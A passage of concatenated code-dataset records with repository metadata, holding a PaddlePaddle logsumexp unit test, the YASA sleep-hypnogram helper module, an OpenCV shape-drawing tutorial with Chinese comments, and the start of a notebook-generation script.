"max_stars_repo_path": "texpy/test.py", "max_stars_repo_name": "Francesco215/menzalib", "max_stars_repo_head_hexsha": "f4ababdba8c9746169e8268560dd3ee5efbe3a91", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-03-27T10:46:04.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-17T08:45:58.000Z", "max_issues_repo_path": "texpy/test.py", "max_issues_repo_name": "Francesco215/menzalib", "max_issues_repo_head_hexsha": "f4ababdba8c9746169e8268560dd3ee5efbe3a91", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "texpy/test.py", "max_forks_repo_name": "Francesco215/menzalib", "max_forks_repo_head_hexsha": "f4ababdba8c9746169e8268560dd3ee5efbe3a91", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.6461538462, "max_line_length": 119, "alphanum_fraction": 0.5496521189, "include": true, "reason": "import numpy", "num_tokens": 1094, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713673161914675, "lm_q2_score": 0.13477592784882603, "lm_q1q2_score": 0.06161102715775027}}
{"text": "#  Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport paddle\nimport unittest\nimport numpy as np\nfrom op_test import OpTest\n\n\ndef ref_logsumexp(x, axis=None, keepdim=False, reduce_all=False):\n    if isinstance(axis, int):\n        axis = (axis, )\n    elif isinstance(axis, list):\n        axis = tuple(axis)\n    if reduce_all:\n        axis = None\n    out = np.log(np.exp(x).sum(axis=axis, keepdims=keepdim))\n    return out\n\n\ndef logsumexp_wrapper(x, axis=None, keepdim=False, allreduce=False):\n    if allreduce:\n        return paddle.logsumexp(x, None, keepdim)\n    return paddle.logsumexp(x, axis, keepdim)\n\n\nclass TestLogsumexp(OpTest):\n    def setUp(self):\n        self.op_type = 'logsumexp'\n        self.python_api = logsumexp_wrapper\n        self.shape = [2, 3, 4, 5]\n        self.dtype = 'float64'\n        self.axis = [-1]\n        self.keepdim = False\n        self.reduce_all = False\n        self.set_attrs()\n\n        np.random.seed(10)\n        x = np.random.uniform(-1, 1, self.shape).astype(self.dtype)\n        out = ref_logsumexp(x, self.axis, self.keepdim, self.reduce_all)\n\n        self.inputs = {'X': x}\n        self.outputs = {'Out': out}\n        self.attrs = {\n            'axis': self.axis,\n            'keepdim': self.keepdim,\n            'reduce_all': self.reduce_all\n        }\n        self.user_defined_grads = None\n        self.user_defined_grad_outputs = None\n        self.set_attrs_addition()\n\n    def set_attrs(self):\n        pass\n\n    def set_attrs_addition(self):\n        pass\n\n    def test_check_output(self):\n        self.check_output(check_eager=True)\n\n    def test_check_grad(self):\n        self.check_grad(\n            ['X'], ['Out'],\n            user_defined_grads=self.user_defined_grads,\n            user_defined_grad_outputs=self.user_defined_grad_outputs,\n            check_eager=True)\n\n    def calc_grad(self):\n        dy = np.ones(1, dtype=self.dtype)\n        x = self.inputs['X']\n        y = self.outputs['Out']\n        return dy * np.exp(x - y)\n\n\nclass TestLogsumexp_shape(TestLogsumexp):\n    def set_attrs(self):\n        self.shape = [4, 5, 6]\n\n\nclass TestLogsumexp_axis(TestLogsumexp):\n    def set_attrs(self):\n        self.axis = [0, -1]\n\n\nclass TestLogsumexp_axis_all(TestLogsumexp):\n    def set_attrs(self):\n        self.axis = [0, 1, 2, 3]\n\n    def set_attrs_addition(self):\n        if paddle.fluid.core.is_compiled_with_rocm():\n            self.user_defined_grads = [self.calc_grad()]\n            self.user_defined_grad_outputs = [np.ones(1, dtype=self.dtype)]\n\n\nclass TestLogsumexp_keepdim(TestLogsumexp):\n    def set_attrs(self):\n        self.keepdim = True\n\n\nclass TestLogsumexp_reduce_all(TestLogsumexp):\n    def set_attrs(self):\n        self.reduce_all = True\n\n    def set_attrs_addition(self):\n        if paddle.fluid.core.is_compiled_with_rocm():\n            self.user_defined_grads = [self.calc_grad()]\n            self.user_defined_grad_outputs = [np.ones(1, dtype=self.dtype)]\n\n\nclass TestLogsumexpError(unittest.TestCase):\n    def test_errors(self):\n        with paddle.static.program_guard(paddle.static.Program()):\n            self.assertRaises(TypeError, paddle.logsumexp, 1)\n            x1 = paddle.fluid.data(name='x1', shape=[120], dtype=\"int32\")\n            self.assertRaises(TypeError, paddle.logsumexp, x1)\n\n\nclass TestLogsumexpAPI(unittest.TestCase):\n    def setUp(self):\n        self.shape = [2, 3, 4, 5]\n        self.x = np.random.uniform(-1, 1, self.shape).astype(np.float32)\n        self.place = paddle.CUDAPlace(0) if paddle.fluid.core.is_compiled_with_cuda() \\\n            else paddle.CPUPlace()\n\n    def api_case(self, axis=None, keepdim=False):\n        out_ref = ref_logsumexp(self.x, axis, keepdim)\n        with paddle.static.program_guard(paddle.static.Program()):\n            x = paddle.fluid.data('X', self.shape)\n            out = paddle.logsumexp(x, axis, keepdim)\n            exe = paddle.static.Executor(self.place)\n            res = exe.run(feed={'X': self.x}, fetch_list=[out])\n        self.assertTrue(np.allclose(res[0], out_ref))\n\n        paddle.disable_static(self.place)\n        x = paddle.to_tensor(self.x)\n        out = paddle.logsumexp(x, axis, keepdim)\n        self.assertTrue(np.allclose(out.numpy(), out_ref))\n        paddle.enable_static()\n\n    def test_api(self):\n        self.api_case()\n        self.api_case(2)\n        self.api_case([-1])\n        self.api_case([2, -3])\n        self.api_case((0, 1, -1))\n        self.api_case(keepdim=True)\n\n    def test_alias(self):\n        paddle.disable_static(self.place)\n        x = paddle.to_tensor(self.x)\n        out1 = paddle.logsumexp(x)\n        out2 = paddle.tensor.logsumexp(x)\n        out3 = paddle.tensor.math.logsumexp(x)\n        out_ref = ref_logsumexp(self.x)\n        for out in [out1, out2, out3]:\n            self.assertTrue(np.allclose(out.numpy(), out_ref))\n        paddle.enable_static()\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "91eb65ef284a5dfee14313b9acf0839b9bb6531d", "size": 5451, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_logsumexp.py", "max_stars_repo_name": "RangeKing/Paddle", "max_stars_repo_head_hexsha": "2d87300809ae75d76f5b0b457d8112cb88dc3e27", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2016-08-15T07:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-24T09:34:00.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_logsumexp.py", "max_issues_repo_name": "RangeKing/Paddle", "max_issues_repo_head_hexsha": "2d87300809ae75d76f5b0b457d8112cb88dc3e27", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-28T07:23:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-28T07:23:22.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_logsumexp.py", "max_forks_repo_name": "RangeKing/Paddle", "max_forks_repo_head_hexsha": "2d87300809ae75d76f5b0b457d8112cb88dc3e27", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.3275862069, "max_line_length": 87, "alphanum_fraction": 0.6382315172, "include": true, "reason": "import numpy", "num_tokens": 1333, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.134775915685312, "lm_q1q2_score": 0.061611019603802775}}
{"text": "\"\"\"\nThis file contains several helper functions to manipulate sleep staging\n(hypnogram) data. The default hypnogram format in YASA is a one dimensional\ninteger array where:\n\n* -2  = Unscored\n* -1  = Artefact / Movement\n* 0   = Wake\n* 1   = N1 sleep\n* 2   = N2 sleep\n* 3   = N3 sleep\n* 4   = REM sleep\n\nFor more details, please refer to the following references:\n\n- Iber, C. (2007). The AASM manual for the scoring of sleep and\nassociated events: rules, terminology and technical specifications.\nAmerican Academy of Sleep Medicine.\n\n- Silber, M. H., Ancoli-Israel, S., Bonnet, M. H., Chokroverty, S.,\nGrigg-Damberger, M. M., Hirshkowitz, M., \u2026 Iber, C. (2007). The visual scoring\nof sleep in adults. Journal of Clinical Sleep Medicine: JCSM: Official\nPublication of the American Academy of Sleep Medicine, 3(2), 121\u2013131.\n\n- Combrisson, E., Vallat, R., Eichenlaub, J.-B., O\u2019Reilly, C., Lajnef, T.,\nGuillot, A., \u2026 Jerbi, K. (2017). Sleep: An Open-Source Python Software for\nVisualization, Analysis, and Staging of Sleep Data. Frontiers in\nNeuroinformatics, 11, 60. https://doi.org/10.3389/fninf.2017.00060\n\"\"\"\nimport mne\nimport logging\nimport numpy as np\nimport pandas as pd\nfrom .io import set_log_level\n\n__all__ = ['hypno_str_to_int', 'hypno_int_to_str', 'hypno_upsample_to_sf',\n           'hypno_upsample_to_data', 'load_profusion_hypno']\n\n\nlogger = logging.getLogger('yasa')\n\n\n#############################################################################\n# STR <--> INT CONVERSION\n#############################################################################\n\ndef hypno_str_to_int(hypno, mapping_dict={'w': 0, 'wake': 0, 'n1': 1, 's1': 1,\n                                          'n2': 2, 's2': 2, 'n3': 3, 's3': 3,\n                                          's4': 3, 'r': 4, 'rem': 4, 'art': -1,\n                                          'mt': -1, 'uns': -2, 'nd': -2}):\n    \"\"\"Convert a string hypnogram array to integer.\n\n    ['W', 'N2', 'N2', 'N3', 'R'] ==> [0, 2, 2, 3, 4]\n\n    .. versionadded:: 0.1.5\n\n    Parameters\n    ----------\n    hypno : array_like\n        The sleep staging (hypnogram) 1D array.\n    mapping_dict : dict\n        The mapping dictionnary, in lowercase. Note that this function is essentially a wrapper\n        around :py:meth:`pandas.Series.map`.\n\n    Returns\n    --------\n    hypno : array_like\n        The corresponding integer hypnogram.\n    \"\"\"\n    assert isinstance(hypno, (list, np.ndarray, pd.Series)), 'Not an array.'\n    hypno = pd.Series(np.asarray(hypno, dtype=str))\n    assert not hypno.str.isnumeric().any(), 'Hypno contains numeric values.'\n    return hypno.str.lower().map(mapping_dict).values\n\n\ndef hypno_int_to_str(hypno, mapping_dict={0: 'W', 1: 'N1', 2: 'N2', 3: 'N3',\n                                          4: 'R', -1: 'Art', -2: 'Uns'}):\n    \"\"\"Convert an integer hypnogram array to a string array.\n\n    [0, 2, 2, 3, 4] ==> ['W', 'N2', 'N2', 'N3', 'R']\n\n    .. versionadded:: 0.1.5\n\n    Parameters\n    ----------\n    hypno : array_like\n        The sleep staging (hypnogram) 1D array.\n    mapping_dict : dict\n        The mapping dictionnary. Note that this function is essentially a wrapper around\n        :py:meth:`pandas.Series.map`.\n\n    Returns\n    --------\n    hypno : array_like\n        The corresponding integer hypnogram.\n    \"\"\"\n    assert isinstance(hypno, (list, np.ndarray, pd.Series)), 'Not an array.'\n    hypno = pd.Series(np.asarray(hypno, dtype=int))\n    return hypno.map(mapping_dict).values\n\n#############################################################################\n# UPSAMPLING\n#############################################################################\n\n\ndef hypno_upsample_to_sf(hypno, sf_hypno, sf_data):\n    \"\"\"Upsample the hypnogram to a given sampling frequency.\n\n    .. versionadded:: 0.1.5\n\n    Parameters\n    ----------\n    hypno : array_like\n        The sleep staging (hypnogram) 1D array.\n    sf_hypno : float\n        The current sampling frequency of the hypnogram, in Hz, e.g.\n\n        * 1/30 = 1 value per each 30 seconds of EEG data,\n        * 1 = 1 value per second of EEG data\n    sf_data : float\n        The desired sampling frequency of the hypnogram, in Hz (e.g. 100 Hz, 256 Hz, ...)\n\n    Returns\n    -------\n    hypno : array_like\n        The hypnogram, upsampled to ``sf_data``.\n    \"\"\"\n    repeats = sf_data / sf_hypno\n    assert sf_hypno <= sf_data, 'sf_hypno must be less than sf_data.'\n    assert repeats.is_integer(), 'sf_hypno / sf_data must be a whole number.'\n    assert isinstance(hypno, (list, np.ndarray, pd.Series))\n    return np.repeat(np.asarray(hypno), repeats)\n\n\ndef hypno_fit_to_data(hypno, data, sf=None):\n    \"\"\"Crop or pad the hypnogram to fit the length of data.\n\n    Hypnogram and data MUST have the SAME sampling frequency.\n\n    This is an internal function.\n\n    Parameters\n    ----------\n    hypno : array_like\n        The sleep staging (hypnogram) 1D array.\n    data : np.array_like or mne.io.Raw\n        1D or 2D EEG data. Can also be a MNE Raw object, in which case data and sf will be\n        automatically extracted.\n    sf : float, optional\n        The sampling frequency of data AND the hypnogram.\n\n    Returns\n    -------\n    hypno : array_like\n        Hypnogram, with the same number of samples as data.\n    \"\"\"\n    # Check if data is an MNE raw object\n    if isinstance(data, mne.io.BaseRaw):\n        sf = data.info['sfreq']\n        data = data.times  # 1D array and does not require to preload data\n    data = np.asarray(data)\n    hypno = np.asarray(hypno)\n    assert hypno.ndim == 1, 'Hypno must be 1D.'\n    npts_hyp = hypno.size\n    npts_data = max(data.shape)  # Support for 2D data\n    if npts_hyp < npts_data:\n        # Hypnogram is shorter than data\n        npts_diff = npts_data - npts_hyp\n        if sf is not None:\n            dur_diff = npts_diff / sf\n            logger.warning('Hypnogram is SHORTER than data by %.2f seconds. '\n                           'Padding hypnogram with last value to match data.size.' % dur_diff)\n        else:\n            logger.warning('Hypnogram is SHORTER than data by %i samples. '\n                           'Padding hypnogram with last value to match data.size.' % npts_diff)\n        hypno = np.pad(hypno, (0, npts_diff), mode='edge')\n    elif npts_hyp > npts_data:\n        # Hypnogram is longer than data\n        npts_diff = npts_hyp - npts_data\n        if sf is not None:\n            dur_diff = npts_diff / sf\n            logger.warning('Hypnogram is LONGER than data by %.2f seconds. '\n                           'Cropping hypnogram to match data.size.' % dur_diff)\n        else:\n            logger.warning('Hypnogram is LONGER than data by %i samples. '\n                           'Cropping hypnogram to match data.size.' % npts_diff)\n        hypno = hypno[0:npts_data]\n    return hypno\n\n\ndef hypno_upsample_to_data(hypno, sf_hypno, data, sf_data=None, verbose=True):\n    \"\"\"Upsample an hypnogram to a given sampling frequency and fit the\n    resulting hypnogram to corresponding EEG data, such that the hypnogram\n    and EEG data have the exact same number of samples.\n\n    .. versionadded:: 0.1.5\n\n    Parameters\n    ----------\n    hypno : array_like\n        The sleep staging (hypnogram) 1D array.\n    sf_hypno : float\n        The current sampling frequency of the hypnogram, in Hz, e.g.\n\n        * 1/30 = 1 value per each 30 seconds of EEG data,\n        * 1 = 1 value per second of EEG data\n    data : array_like or :py:class:`mne.io.BaseRaw`\n        1D or 2D EEG data. Can also be a :py:class:`mne.io.BaseRaw`, in which\n        case ``data`` and ``sf_data`` will be automatically extracted.\n    sf_data : float\n        The sampling frequency of ``data``, in Hz (e.g. 100 Hz, 256 Hz, ...).\n        Can be omitted if ``data`` is a :py:class:`mne.io.BaseRaw`.\n    verbose : bool or str\n        Verbose level. Default (False) will only print warning and error\n        messages. The logging levels are 'debug', 'info', 'warning', 'error',\n        and 'critical'. For most users the choice is between 'info'\n        (or ``verbose=True``) and warning (``verbose=False``).\n\n    Returns\n    -------\n    hypno : array_like\n        The hypnogram, upsampled to ``sf_data`` and cropped/padded to ``max(data.shape)``.\n\n    Warns\n    -----\n    UserWarning\n        If the upsampled ``hypno`` is shorter / longer than ``max(data.shape)``\n        and therefore needs to be padded/cropped respectively. This output can be disabled by\n        passing ``verbose='ERROR'``.\n    \"\"\"\n    set_log_level(verbose)\n    if isinstance(data, mne.io.BaseRaw):\n        sf_data = data.info['sfreq']\n        data = data.times\n    hypno_up = hypno_upsample_to_sf(hypno=hypno, sf_hypno=sf_hypno, sf_data=sf_data)\n    return hypno_fit_to_data(hypno=hypno_up, data=data, sf=sf_data)\n\n\n#############################################################################\n# HYPNO LOADING\n#############################################################################\n\ndef load_profusion_hypno(fname, replace=True):  # pragma: no cover\n    \"\"\"\n    Load a Compumedics Profusion hypnogram (.xml).\n\n    The Compumedics Profusion hypnogram format is one of the two hypnogram\n    formats found in the `National Sleep Research Resource (NSRR)\n    <https://sleepdata.org/>`_ website. For more details on the format,\n    please refer to\n    https://github.com/nsrr/edf-editor-translator/wiki/Compumedics-Annotation-Format\n\n    Parameters\n    ----------\n    fname : str\n        Filename with full path.\n    replace : bool\n        If True, the integer values will be mapped to YASA default, i.e.\n        0 for Wake, 1 for N1, 2 for N2, 3 for N3 / S4 and 4 for REM.\n        Note that the native profusion format is identical except for REM\n        sleep which is marked as 5.\n\n    Returns\n    -------\n    hypno : 1D array (n_epochs, )\n        Hypnogram, with one value per 30 second epochs.\n    sf_hyp : float\n        Sampling frequency of the hypnogram. Default is 1 / 30 Hz.\n    \"\"\"\n    # Note that an alternative is to use the `xmltodict` library:\n    # >>> with open(fname) as in_file:\n    # >>>   xml = in_file.read()\n    # >>> epoch_length = xml['EpochLength']\n    # >>> hypno = np.array(xml['SleepStages']['SleepStage'], dtype='int')\n    # >>> xml = xmltodict.parse(xml, process_namespaces=True)['CMPStudyConfig']\n    # >>> annotations = pd.DataFrame(xml['ScoredEvents']['ScoredEvent'])\n    # >>> annotations[\"Start\"] = annotations[\"Start\"].astype(float)\n    # >>> annotations[\"Duration\"] = annotations[\"Duration\"].astype(float)\n    import xml.etree.ElementTree as ET\n    tree = ET.parse(fname)\n    root = tree.getroot()\n    epoch_length = float(root[0].text)\n    sf_hyp = 1 / epoch_length\n    hypno = []\n    for s in root[4]:\n        hypno.append(s.text)\n    hypno = np.array(hypno).astype(int)\n    if replace:\n        # Stage 4 --> 3 and REM --> 4\n        hypno = pd.Series(hypno).replace({4: 3, 5: 4}).to_numpy()\n    return hypno, sf_hyp\n", "meta": {"hexsha": "71c12eeff368cfb554a9c11884056d28a59cdfe4", "size": 10875, "ext": "py", "lang": "Python", "max_stars_repo_path": "yasa/hypno.py", "max_stars_repo_name": "snwnde/yasa", "max_stars_repo_head_hexsha": "71c0a8245c61b328a82ab1197c34b673333120a3", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "yasa/hypno.py", "max_issues_repo_name": "snwnde/yasa", "max_issues_repo_head_hexsha": "71c0a8245c61b328a82ab1197c34b673333120a3", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "yasa/hypno.py", "max_forks_repo_name": "snwnde/yasa", "max_forks_repo_head_hexsha": "71c0a8245c61b328a82ab1197c34b673333120a3", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.2431506849, "max_line_length": 95, "alphanum_fraction": 0.5987126437, "include": true, "reason": "import numpy", "num_tokens": 2959, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.13117322715829127, "lm_q1q2_score": 0.06149277935612198}}
{"text": "# -*- coding: utf-8 -*-\nimport numpy as np\nimport cv2\n\n'''\n\u2022 img: \u4f60\u60f3 \u7ed8\u5236\u56fe\u5f62\u7684 \u5e45\u56fe\u50cf\u3002\n\u2022 color: \u5f62\u72b6\u7684\u989c\u8272\u3002\u4ee5RGB\u4e3a\u4f8b  \u9700\u8981\u4f20\u5165\u4e00\u4e2a\u5143\u7ec4BGR \u4f8b\u5982 255,0,0 \n   \u4ee3\u8868\u84dd\u8272\uff0c\u7b2c\u4e00\u4e2a\u662f\u84dd\u8272\u901a\u9053\uff0c\u7b2c\u4e8c\u4e2a\u662f\u7eff\u8272\u901a\u9053\uff0c\u7b2c\u4e09\u4e2a\u662f\u7ea2\u8272\u901a\u9053\u3002\u5bf9\u4e8e\u7070\u5ea6\u56fe\u53ea\u9700\u8981\u4f20\u5165\u7070\u5ea6\u503c\u3002\n\u2022 thickness \u7ebf\u6761\u7684\u7c97\u7ec6\u3002\u5982\u679c\u7ed9\u4e00\u4e2a\u95ed\u5408\u56fe\u5f62 \u7f6e\u4e3a -1  \u90a3\u4e48\u8fd9\u4e2a\u56fe\u5f62\n\u5c31\u4f1a\u88ab\u586b\u5145\u3002 \u9ed8\u8ba4\u503c\u662f 1.\n\u2022 linetype \u7ebf\u6761\u7684\u7c7b\u578b\uff0c 8 \u8fde\u63a5\uff0c\u6297\u952f\u9f7f\u7b49\u3002  \u9ed8\u8ba4\u60c5\u51b5\u662f8 \u8fde\u63a5\u3002cv2.LINE_AA\n   \u4e3a\u6297\u952f\u9f7f  \u8fd9\u6837\u770b\u8d77\u6765\u4f1a\u975e\u5e38\u5e73\u6ed1\u3002\n\n'''\n\n# Create a black image\nimg = np.zeros((512, 512, 3), np.uint8)\n\n# Draw a diagonal blue line with thickness of 5 px\ncv2.line(img, pt1=(0, 0), pt2=(511, 511), color=(255, 0, 0), thickness=5)  # pt1, pt2, color, thickness=\n# cv2.polylines() \u53ef\u4ee5 \u7528\u6765\u753b\u5f88\u591a\u6761\u7ebf\u3002\u53ea\u9700\u8981\u628a\u60f3 \u753b\u7684\u7ebf\u653e\u5728\u4e00 \u4e2a\u5217\u8868\u4e2d\uff0c \u5c06 \u5217\u8868\u4f20\u7ed9\u51fd\u6570\u5c31\u53ef\u4ee5\u4e86\u3002\u6bcf\u6761\u7ebf \u4f1a\u88ab\u72ec\u7acb\u7ed8\u5236\u3002 \u8fd9\u4f1a\u6bd4\u7528 cv2.line() \u4e00\u6761\u4e00\u6761\u7684\u7ed8\u5236 \u8981\u5feb\u4e00\u4e9b\u3002\n# cv2.polylines(img, pts, isClosed, color, thickness=None, lineType=None, shift=None)\ncv2.arrowedLine(img,pt1=(21, 13), pt2=(151, 401), color=(255, 0, 0), thickness=5)\n\ncv2.rectangle(img, (384, 0), (510, 128), (0, 255, 0), 3)\n\ncv2.circle(img, center=(447, 63), radius=63, color=(0, 0, 255), thickness=-1)  # center, radius, color, thickness=None\n\n# \u4e00\u4e2a\u53c2\u6570\u662f\u4e2d\u5fc3\u70b9\u7684\u4f4d\u7f6e\u5750\u6807\u3002 \u4e0b\u4e00\u4e2a\u53c2\u6570\u662f\u957f\u8f74\u548c\u77ed\u8f74\u7684\u957f\u5ea6\u3002\u692d\u5706\u6cbf\u9006\u65f6\u9488\u65b9\u5411\u65cb\u8f6c\u7684\u89d2\u5ea6\u3002\n# \u692d\u5706\u5f27\u6f14\u987a\u65f6\u9488\u65b9\u5411\u8d77\u59cb\u7684\u89d2\u5ea6\u548c\u7ed3\u675f\u89d2\u5ea6 \u5982\u679c\u662f 0 \u5f88 360 \u5c31\u662f\u6574\u4e2a\u692d\u5706\ncv2.ellipse(img, center=(256, 256), axes=(100, 50), angle=0, startAngle=0, endAngle=180, color=255,\n            thickness=-1)  # center, axes, angle, startAngle, endAngle, color, thickness=\n\npts = np.array([[10, 5], [20, 30], [70, 20], [50, 10]], np.int32)\npts = pts.reshape((-1, 1, 2))\n# \u8fd9\u91cc reshape \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a-1, \u8868\u660e\u8fd9\u4e00\u7ef4\u7684\u957f\u5ea6\u662f\u6839\u636e\u540e\u9762\u7684\u7ef4\u5ea6\u7684\u8ba1\u7b97\u51fa\u6765\u7684\u3002\n# \u6ce8\u610f \u5982\u679c\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f False \u6211\u4eec\u5f97\u5230\u7684\u591a\u8fb9\u5f62\u662f\u4e0d\u95ed\u5408\u7684 \uff0c\u9996 \u5c3e\u4e0d\u76f8  \u8fde \u3002\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n#org :Bottom-left corner of the text string in the image.\u5de6\u4e0b\u89d2\n#\u6216\u4f7f\u7528 bottomLeftOrigin=True,\u6587\u5b57\u4f1a\u4e0a\u4e0b\u98a0\u5012\ncv2.putText(img, text='bottomLeftOrigin', org=(10, 400), fontFace=font, fontScale=1, color=(255, 255, 255), thickness=1,bottomLeftOrigin=True)#text, org, fontFace, fontScale, color, thickness=\ncv2.putText(img, text='OpenCV', org=(10, 500), fontFace=font, fontScale=4, color=(255, 255, 255), thickness=2)#text, org, fontFace, fontScale, color, thickness=\n\n# \u6240\u6709\u7684\u7ed8\u56fe\u51fd\u6570\u7684\u8fd4\u56de\u503c\u90fd\u662f None \uff0c\u6240\u4ee5\u4e0d\u80fd\u4f7f\u7528 img = cv2.line(img,(0,0),(5\n\nwinname = 'example'\ncv2.namedWindow(winname, 0)\ncv2.imshow(winname, img)\n\ncv2.imwrite(\"example.png\", img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "meta": {"hexsha": "63e5eb011b8a1ba3b89373dacf18ebcdbc7d9605", "size": 2140, "ext": "py", "lang": "Python", "max_stars_repo_path": "ch06-Drawing function/6.draw.py", "max_stars_repo_name": "Anancha/OpenCV-Python-Tutorial", "max_stars_repo_head_hexsha": "6f4e3ffdb13b9935fa72ed0f8d78ddc1ff5c723d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2875, "max_stars_repo_stars_event_min_datetime": "2016-10-21T01:33:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:15:28.000Z", "max_issues_repo_path": "ch06-Drawing function/6.draw.py", "max_issues_repo_name": "Anancha/OpenCV-Python-Tutorial", "max_issues_repo_head_hexsha": "6f4e3ffdb13b9935fa72ed0f8d78ddc1ff5c723d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2017-07-18T14:24:27.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-04T10:32:25.000Z", "max_forks_repo_path": "ch06-Drawing function/6.draw.py", "max_forks_repo_name": "Anancha/OpenCV-Python-Tutorial", "max_forks_repo_head_hexsha": "6f4e3ffdb13b9935fa72ed0f8d78ddc1ff5c723d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1066, "max_forks_repo_forks_event_min_datetime": "2017-03-11T01:43:28.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T14:52:41.000Z", "avg_line_length": 38.9090909091, "max_line_length": 192, "alphanum_fraction": 0.7009345794, "include": true, "reason": "import numpy", "num_tokens": 1060, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.1311732101759139, "lm_q1q2_score": 0.06149277139494266}}
{"text": "import os\nimport numpy as np\nimport nbformat as nbf\nimport mdutils\n\n\ndef ktx_to_dict(input_file, keystarter = '<'):\n    \"\"\" \n        parsing keyed text to a python dictionary. \n        \u628aktx\u6570\u636e\u4ece\u6587\u4ef6\u5f53\u4e2d\u8bfb\u51fa\u6765\uff0c\u6362\u6210\u5b57\u5178\u5f62\u5f0f\n    \"\"\"\n    answer = dict() # \u5b57\u5178\n\n    with open(input_file, 'r+', encoding = 'utf-8') as f:\n        lines = f.readlines() #\u6309\u884c\u8bfb\u51fa\n\n    k, val = '', ''\n    for line in lines:\n        if line.startswith(keystarter): # \u5bf9\u4e8e\u6bcf\u4e2a\u65b0\u7684key\u503c\n            k = line.replace(keystarter, '').strip() # \u5c06key\u7684\u7bad\u5934\u6362\u6389\n            val = '' #value\u503c\u6e05\u7a7a\u91cd\u65b0\u5f00\u59cb\u8bfb\u5165 \n        else:\n            val += line  # \u589e\u52a0\u5f53\u524dvalue\u5185\u5bb9\n\n        if k: # \u6bcf\u6b21\u66f4\u65b0\u4e00\u4e0b\u5f53\u524d\u952e\u503c\u5bf9\u4fe1\u606f\n            answer.update({k: val.strip()})\n\n    return answer\n\ndef dict_to_ktx(input_dict, output_file, keystarter = '<'):\n    \"\"\" \n        Store a python dictionary to a keyed text\n        \u9006\u5411\u64cd\u4f5c\uff0c\u628a\u5b57\u5178\u5b58\u50a8\u4e3aktx\u6587\u4ef6\n        \u76f4\u63a5\u5199\u6587\u4ef6\n    \"\"\"\n    with open(output_file, 'w+') as f:\n        for k, val in input_dict.items():\n            f.write(f'{keystarter} {k}\\n')\n            f.write(f'{val}\\n\\n')\n    return\n\nHEADERS = ktx_to_dict(os.path.join('source', 'headers.ktx'))\nQHA = ktx_to_dict(os.path.join('source', 'exercises100.ktx'))\n\n'''\n    ---------------------\n    \u4ee5\u4e0a\u662f\u9884\u8bbe\u6a21\u5757\u76f4\u63a5\u8fd0\u884c\n    \u4ee5\u4e0b\u662f\u63d0\u4f9b\u652f\u6301\u7684\u6a21\u5757\n    ---------------------\n'''\n\n\ndef create_jupyter_notebook(destination_filename = '100_Numpy_exercises.ipynb', answer_type = 0):\n    \"\"\" \n        Programmatically create jupyter notebook with the questions\n        saved under source files \n        \u53c2\u6570\u5316\u751f\u6210Notebook\n        \u5728\u540c\u6587\u4ef6\u5939\u4e0b\u65b9\u751f\u6210\n    \"\"\"\n\n    # Create cells sequence \n    # notebook\u7684 cell\u5e8f\u5217\n    nb = nbf.v4.new_notebook()\n\n    nb['cells'] = []\n\n    # - Add header:\n    nb['cells'].append(nbf.v4.new_markdown_cell(HEADERS[\"header\"]))\n    nb['cells'].append(nbf.v4.new_markdown_cell(HEADERS[\"sub_header\"]))\n    